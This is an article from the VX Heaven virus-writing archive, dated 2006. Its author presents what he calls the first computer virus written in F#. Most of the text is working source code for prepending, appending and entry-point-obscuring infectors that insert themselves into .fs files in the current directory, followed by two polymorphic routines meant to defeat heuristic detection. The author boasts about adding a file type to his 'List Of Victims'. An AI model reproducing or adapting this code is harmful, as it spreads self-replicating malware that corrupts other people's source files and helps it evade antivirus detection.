Maximize
Bookmark

VX Heaven

Library Collection Sources Engines Constructors Simulators Utilities Links Forum

A brief viral Introduction into F#

SPTH
Ready Rangers Liberation Front [7]
July 2006

1
[Back to index] [Comments]

Intro Words

In 2004/2005 Microsoft has started a new field of researching - with an interesting idea: Combining a functional language with the .NET Framework. The result of the research is a language called F# - a .NET variant of ML with a core language similar to that of the OCaml programming language. Usual languages like this (Calm, maybe LISP) are only useful for research purpose, but Microsoft wants to change this additude.

I found the language first in an article of iX special 1/2006 called "Ein neuer Halbton" by Oliver Mueller [I've got the magazine by my boss for learning to use .NET with SQL 2005 - but well...). I was fascinated by the idea and wanted to write a virus for it - didn't know what will happen. I've tried it several times - without success - the language was just too strange. Then one weekend I said to myself "I DO IT NOW" - so I've used ~30 of non-stop researching, learning, reading, testing, coding... The problem is, that F#'s documentation is very poor and that the interpreter's Error Messages are very useless ("virus.fs(2,0): error: syntax error"), and the interpreter has still some very strange bugs. After I had nearly a nervous breakdown (no shit - imagine 30 hours of successless researching, repeated Gorillaz music, coffee, a few beer and much cigaretts), I found some secrets, and was able to write the world's first computer virus in F#. That was definitivly one of the great moments, which you don't forget soon.

You can get F# here: http://research.microsoft.com/projects/ilx/fsharp.aspx

OK - enough about this strange story - see my researches now...

File infection

Prepender

Finally, after ~ 30 hours and 2,5 packs of cigaretts, the first F# virus infected its victim. The code simply searchs for victims (*.fs files in the current directory), checks if the victim is already infected, if not it copies its own code before the victim code. For finding its own code, it uses the 'Sys.argv.(1)' method. '.fs'-scripts will be opened this way: 'fsi filename.fs'. The method returns the second argument given in the command line expression, which is the virus-filename. Now see the code...

(* Archangel *)
open System.IO
let vfile = new StreamReader(Sys.argv.(1));;
let vcode = (vfile.ReadToEnd()).Substring(0,526);;
let vclose = vfile.Close();;
let files = Directory.GetFiles(".","*.fs");;

for i = 0 to files.Length-1 do
  let hfile = new StreamReader(files.(i)) in
  let hcode = hfile.ReadToEnd() in
  let _ = hfile.Close() in
  if (hcode.Substring(3,9)<>"Archangel") then begin
    let hfile = new StreamWriter(files.(i)) in
    let _ = hfile.Write(vcode+hcode) in
    hfile.Close();
  end
done
 

Appender

The next infection type, as usual, is appending the code at the end of of the file. There are just a view changes. Look at the code and you will see:

(* Archangel *)
open System.IO
let vfile = new StreamReader(Sys.argv.(1));;
let vall = vfile.ReadToEnd();;
let vcode = vall.Substring(vall.Length-576,576);;
vfile.Close();;
let files = Directory.GetFiles(".","*.fs");;
for i = 0 to files.Length-1 do
  let hfile = new StreamReader(files.(i)) in
  let hcode = hfile.ReadToEnd() in
  let _ = hfile.Close() in
  if (hcode.Substring(3,9)<>"Archangel") then begin
    let hfile = new StreamWriter(files.(i)) in
    let _ = hfile.WriteLine("(* Archangel *)") in
    let _ = hfile.Write(hcode+vcode) in
    hfile.Close();
  end
done
 

Entry Point Obscuring

As usual, I present you as third infection type "Entry Point Obscuring". This code first searchs a valueable place for infection, and writes its own code to that position. At complex files this code fails, as it just searchs for 0x0A+0x0D. But nevertheless, this all is prove-of-concept. At this code you can see the strange world of functionality for the first time (no direct counters, for-loops and if-statements as functions ect). For deeper explanation of the code, see the end.

(* Archangel *)
open System.IO
let vfile = new StreamReader(Sys.argv.(1));;
let vall = vfile.ReadToEnd();;
let vcode = vall.Substring(vall.IndexOf("(* Archangel *)"),1082);;
vfile.Close();;
let rand = new System.Random();;
let pos = ref 0;;
let nl = "
"
;;
let files = Directory.GetFiles(".","*.fs");;
for i = 0 to files.Length-1 do
  let oc = ref 0 in
  let hfile = new StreamReader(files.(i)) in
  let hcode = hfile.ReadToEnd() in
  let _ = hfile.Close() in
  if (hcode.IndexOf("(* Archangel *)")=(-1)) then begin
    for j = 0 to hcode.Length-3 do
      if (hcode.Substring(j,2)=nl) then begin
        oc := !oc +1;
      end
    done;
    pos := rand.Next(!oc);
    for j = 0 to hcode.Length-3 do
      if (!pos=0) then begin
        let hwfile = new StreamWriter(files.(i)) in
        let _ = hwfile.Write(hcode.Substring(0,j)^nl^vcode^nl^hcode.Substring(j,hcode.Length-j)) in
        let _ = hwfile.Close() in
        pos := 666;
      end;
      if (hcode.Substring(j,2)=nl) then begin
        pos := !pos - 1;
      end
    done;
  end
done
 

Polymorphism

Number Changing

This script polymorphism technique could be very useful against simple heuristic attacks. It changes a number in the code by chance ~33.3%. The new calculation is a representation of the number - like:

  1 = ((2/(0+1))-((3-1)-(1/1)))

It uses arichmetic operation ADD, SUB and MUL. It can not use DIV, because the numbers represent integer, not float.

There have been several difficulties while writing the code, like you can not change the counter of a for-loop (at least I didn't find a way). But as I could solve any problem, you can see the code now:

open System.IO
let vfile=new StreamReader(Sys.argv.(1));;
let vcode=vfile.ReadToEnd();;
vfile.Close();;
let vf=new StreamWriter(Sys.argv.(1));;
let changeval=ref false;;
let newcode=ref"";;
let nstr=ref"";;
let c=ref 0;;
let l=ref 0;;
let r=ref 0;;
let s=ref "";;
let rand=new System.Random();;
let istrue num=if num=0 then false else true;;
let isint num=if (num>="0"&&num<="9") then true else false;;
let makedif num =
  let rn=rand.Next(num)+1 in
  let rr=rand.Next(3) in
  if rr=0 then begin
    r:=num-rn;
    s:="+";
  end;
  if rr=1 then begin
    r:=num+rn;
    s:="-";
  end;
  if rr=2 then begin
    r:=num*rn;
    s:="/";
  end;
  "("^System.Convert.ToString(!r)^ !s^System.Convert.ToString(rn)^")";;
for i=0 to vcode.Length-1 do
  l:=1;
  changeval:=false;
  if (!c<vcode.Length) then begin
    nstr:=vcode.Substring(!c,1);
    if (isint(!nstr)) then begin
      nstr:="";
      while (isint(vcode.Substring(!c,1))) do
        nstr:=!nstr^vcode.Substring(!c,1);
        c:=!c+1;
        l:=!l+1;
      done;
      c:=!c-1;
      if (vcode.Substring(!c-6,5)<>"ToInt"&&vcode.Substring(!c-1,1)<>"\u0022"&& !nstr<>"0022"&&rand.Next(3)<>0) then begin
        changeval:=true;
      end;
    end;
  end;
  if (!c)<vcode.Length then begin
    if !changeval then
      newcode:=!newcode^makedif(System.Convert.ToInt32(!nstr))
    else
      newcode:=!newcode^ !nstr
  end;
  c:=!c+1;
done;
vf.Write(!newcode);;
vf.Close();;
 

Space Games

This kind of polymorphism uses the fact, that F# ignores multible spaces. That means a command like this one:

  let a = ref 0;;
 

is the same as

  let   a     =   ref   0;;
 

The code randomly adds and removes spaces from the code. It is quite simple, but again you can easiely see the princip of functionality (in function istrue).

open System.IO
 let vfile = new StreamReader(Sys.argv.(1));;
 let vcode = vfile.ReadToEnd();;
 vfile.Close();;
 let vf = new StreamWriter(Sys.argv.(1));;
 let a = ref 0 ;;
 let newcode= ref "o" ;;
 let rand = new System.Random();;
 let istrue num = if num=0 then false else true;;
 for i = 1 to vcode.Length-1 do
   a := 0;
   if(vcode.Substring( i - 1 , 2)="\u0020\u0020" && istrue(rand.Next(1))) then begin
     newcode := !newcode^"\u0020";
     let i = i + 1 in
     a := 1;
   end;
   if(vcode.Substring( i , 1) = "\u0020" && istrue(rand.Next(2))) then begin
     newcode := !newcode^"\u0020\u0020";
     a := 1;
   end;
   if (!a = 0) then begin
     newcode := !newcode ^ vcode.Substring( i , 1);
   end;
 done;
 vf.Write(!newcode);;
 vf.Close();;
 

Outro Words

Another file extention has been added to my "List Of Victims" - and especially about this one I'm really really happy. I proved myself that I can do everything I want. I'm also very happy that I can stop working with that language now - to be honest, I hate it - I nearly got crazy when I coded in that language, without success first (and not that usual 'crazy' - but the real crazy). Well, I will never do anything related to that language - trust me ;)

[Back to index] [Comments]
By accessing, viewing, downloading or otherwise using this content you agree to be bound by the Terms of Use! vxheaven.org aka vx.netlux.org
deenesitfrplruua